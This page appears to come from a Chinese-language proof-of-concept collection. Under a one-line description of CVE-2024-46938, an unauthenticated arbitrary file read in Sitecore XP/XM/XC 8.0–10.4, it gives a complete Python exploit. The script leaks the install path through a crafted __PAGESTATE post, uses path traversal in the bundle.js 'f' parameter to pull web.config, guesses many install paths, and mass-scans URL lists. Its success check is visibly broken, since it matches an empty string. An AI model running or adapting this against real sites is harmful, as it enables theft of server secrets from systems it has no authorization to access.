# Sitecore未授权读取任意文件(CVE-2024-46938) 在 Sitecore Experience Platform (XP)、Experience Manager (XM) 和 Experience Commerce (XC) 8.0 初始版本至 10.4 初始版本中发现了问题。未经身份验证的攻击者可以读取任意文件。 ## poc ```python import argparse import requests import tldextract import urllib3 import re from tqdm import tqdm from concurrent.futures import ThreadPoolExecutor, as_completed from datetime import datetime from typing import List, Optional urllib3.disable_warnings() class FileDisclosureScanner: def __init__(self): self.results = [] self.fixed_paths = [ r"C:\\inetpub\\wwwroot\\sitecore\\", r"C:\\inetpub\\wwwroot\\sitecore1\\", r"C:\\inetpub\\wwwroot\\sxa\\", r"C:\\inetpub\\wwwroot\\XP0.sc\\", r"C:\\inetpub\\wwwroot\\Sitecore82\\", r"C:\\inetpub\\wwwroot\\Sitecore81\\", r"C:\\inetpub\\wwwroot\\Sitecore81u2\\", r"C:\\inetpub\\wwwroot\\Sitecore7\\", r"C:\\inetpub\\wwwroot\\Sitecore8\\", r"C:\\inetpub\\wwwroot\\Sitecore70\\", r"C:\\inetpub\\wwwroot\\Sitecore71\\", r"C:\\inetpub\\wwwroot\\Sitecore72\\", r"C:\\inetpub\\wwwroot\\Sitecore75\\", r"C:\\Websites\\spe.dev.local\\", r"C:\\inetpub\\wwwroot\\SitecoreInstance\\", r"C:\\inetpub\\wwwroot\\SitecoreSPE_8\\", r"C:\\inetpub\\wwwroot\\SitecoreSPE_91\\", r"C:\\inetpub\\wwwroot\\Sitecore9\\", r"C:\\inetpub\\wwwroot\\sitecore93sc.dev.local\\", r"C:\\inetpub\\wwwroot\\Sitecore81u3\\", r"C:\\inetpub\\wwwroot\\sitecore9.sc\\", r"C:\\inetpub\\wwwroot\\sitecore901xp0.sc\\", r"C:\\inetpub\\wwwroot\\sitecore9-website\\", r"C:\\inetpub\\wwwroot\\sitecore93.sc\\", r"C:\\inetpub\\wwwroot\\SitecoreSite\\", r"C:\\inetpub\\wwwroot\\sc82\\", r"C:\\inetpub\\wwwroot\\SX93sc.dev.local\\", r"C:\\inetpub\\SITECORE.sc\\", r"C:\\inetpub\\wwwroot\\" ] def attempt_absolute_path_leak(self, base_url: str) -> Optional[str]: """Attempt to discover absolute path through POST request.""" path_discovery_endpoint = f"{base_url}/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.ValidateXHtml?hdl=a" headers = { "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US;q=0.9,en;q=0.8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36", "Connection": "close", "Cache-Control": "max-age=0", "Content-Type": "application/x-www-form-urlencoded" } data = "__PAGESTATE=/../../x/x" try: response = requests.post(path_discovery_endpoint, headers=headers, data=data, verify=False, timeout=5) if response.status_code == 500: match = re.search(r"Could not find a part of the path '([^']+)'", response.text) if match: absolute_path = match.group(1) print(f"[+] Discovered absolute path for {base_url}: {absolute_path}") return absolute_path except requests.RequestException: pass return None def generate_dynamic_paths(self, base_url: str) -> List[str]: """Generate dynamic paths based on URL components.""" extracted = tldextract.extract(base_url) subdomain = extracted.subdomain domain = extracted.domain suffix = extracted.suffix fqdn = f"{subdomain}.{domain}.{suffix}".strip(".") return [ fr"C:\\inetpub\\{domain}.sc\\", fr"C:\\inetpub\\{fqdn}.sc\\", fr"C:\\inetpub\\{subdomain}.sc\\", fr"C:\\inetpub\\{fqdn}\\", fr"C:\\inetpub\\{subdomain}\\", fr"C:\\inetpub\\{domain}\\", fr"C:\\inetpub\\{domain}.sitecore\\", fr"C:\\inetpub\\{fqdn}.sitecore\\", fr"C:\\inetpub\\{subdomain}.sitecore\\", fr"C:\\inetpub\\{domain}.website\\", fr"C:\\inetpub\\{fqdn}.website\\", fr"C:\\inetpub\\{subdomain}.website\\", fr"C:\\inetpub\\{domain}.dev.local\\", fr"C:\\inetpub\\{fqdn}.dev.local\\", fr"C:\\inetpub\\{subdomain}.dev.local\\", fr"C:\\inetpub\\{domain}sc.dev.local\\", fr"C:\\inetpub\\{fqdn}sc.dev.local\\", fr"C:\\inetpub\\{subdomain}sc.dev.local\\" ] def send_request(self, base_url: str, path: str, progress_bar: tqdm) -> Optional[dict]: """Send request to check for vulnerability.""" test_path = f"{path}sitecore\\shell\\client\\..\\..\\..\\web.config%23.js" payload_url = f"{base_url}/-/speak/v1/bundles/bundle.js?f={test_path}" try: response = requests.get(payload_url, verify=False, timeout=5) if response.status_code == 200 and "" in response.text: result = { "url": base_url, "path": path, "content": response.text } self.results.append(result) return result except requests.RequestException: pass finally: progress_bar.update(1) return None def process_url(self, base_url: str, progress_bar: tqdm) -> None: """Process a single URL.""" leaked_path = self.attempt_absolute_path_leak(base_url) if leaked_path: leaked_path = leaked_path.replace("x\\x.txt", "") paths_to_test = [leaked_path] + self.generate_dynamic_paths(base_url) else: paths_to_test = self.fixed_paths + self.generate_dynamic_paths(base_url) with ThreadPoolExecutor(max_workers=5) as executor: futures = [executor.submit(self.send_request, base_url, path, progress_bar) for path in paths_to_test] for future in as_completed(futures): future.result() def save_results(self, output_file: str) -> None: """Save results to file.""" if self.results: with open(output_file, "w") as f: for result in self.results: f.write(f"URL: {result['url']}\n") f.write(f"Path: {result['path']}\n") f.write(f"Extracted File:\n{result['content']}\n\n") def print_results(self) -> None: """Print all found results.""" if self.results: print("\n[+] Successfully exploited CVE-2024-46938 and obtained web.config:") for result in self.results: print(f"\nTarget: {result['url']}") print(f"Local Path: {result['path']}") print("-" * 50) def main(): parser = argparse.ArgumentParser(description="Test for absolute path disclosure vulnerability.") parser.add_argument("--baseurl", help="Base URL of the target (e.g., https://example.com)") parser.add_argument("--inputfile", help="File containing a list of URLs, one per line") args = parser.parse_args() urls = [] if args.baseurl: urls.append(args.baseurl) elif args.inputfile: with open(args.inputfile, "r") as file: urls = [line.strip() for line in file if line.strip()] else: parser.error("Either --baseurl or --inputfile must be provided") scanner = FileDisclosureScanner() timestamp = datetime.now().strftime("%Y%m%d-%H%M%S") output_file = f"output-{timestamp}.txt" # Calculate total requests for progress bar total_requests = len(urls) * (len(scanner.fixed_paths) + len(scanner.generate_dynamic_paths(urls[0]))) with tqdm(total=total_requests, desc="Scanning", unit="request") as progress_bar: with ThreadPoolExecutor(max_workers=10) as main_executor: futures = {main_executor.submit(scanner.process_url, url, progress_bar): url for url in urls} for future in as_completed(futures): future.result() if scanner.results: scanner.save_results(output_file) print(f"\n[+] Found {len(scanner.results)} vulnerable targets") print(f"[+] Results saved to: {output_file}") scanner.print_results() else: print("\n[-] No vulnerabilities found") if __name__ == "__main__": main() ``` ## 漏洞来源 - https://www.assetnote.io/resources/research/leveraging-an-order-of-operations-bug-to-achieve-rce-in-sitecore-8-x---10-x - https://nvd.nist.gov/vuln/detail/CVE-2024-46938